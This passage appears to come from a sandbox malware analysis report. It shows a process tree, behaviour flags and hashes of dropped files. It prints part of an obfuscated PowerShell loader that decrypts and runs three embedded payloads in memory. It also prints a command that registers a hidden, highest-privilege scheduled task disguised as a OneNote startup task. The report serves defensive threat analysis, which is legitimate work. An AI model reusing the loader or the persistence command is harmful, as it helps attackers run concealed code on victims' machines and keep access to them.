IEX '$LRJAf.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$vhMQd = 'C:\Users\Admin\AppData\Local\Temp\help.cmd';$host.UI.RawUI.WindowTitle = $vhMQd;$AjVdh=[System.IO.File]::ReadAllText($vhMQd).Split([Environment]::NewLine);foreach ($gccYs in $AjVdh) { if ($gccYs.StartsWith('dxseJrVuqtqIDgmZdIdA')) { $PERTF=$gccYs.Substring(20); break; }}$payloads_var=[string[]]$PERTF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "5⤵PID:1604
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\help')6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1952
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SC.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3620
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:4376
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2644
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:5052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4020
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:2740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:2236
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD550c591ec2a1e49297738ea9f28e3ad23
SHA1137e36b4c7c40900138a6bcf8cf5a3cce4d142af
SHA2567648d785bda8cef95176c70711418cf3f18e065f7710f2ef467884b4887d8447
SHA51233b5fa32501855c2617a822a4e1a2c9b71f2cf27e1b896cf6e5a28473cfd5e6d126840ca1aa1f59ef32b0d0a82a2a95c94a9cc8b845367b61e65ec70d456deec
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Filesize
2KB
MD5005bc2ef5a9d890fb2297be6a36f01c2
SHA10c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
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Filesize
1KB
MD597748f71ed95026706014e8524266292
SHA1f60663ea2e2a778c57d07d9678fe04c79c3ff942
SHA256f1320df712bf0d218f62a481ea318abfaba12a6465f9d2e07a6ead9d9bd28d9f
SHA512b6df8e3eea09cdd6964bb7801a615df38a3043a2961176ec275fef531a8378fd0d21ee96d01165d192b32d0eddc021ad82fa609ab216005a60bf42b79e1e86c9
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4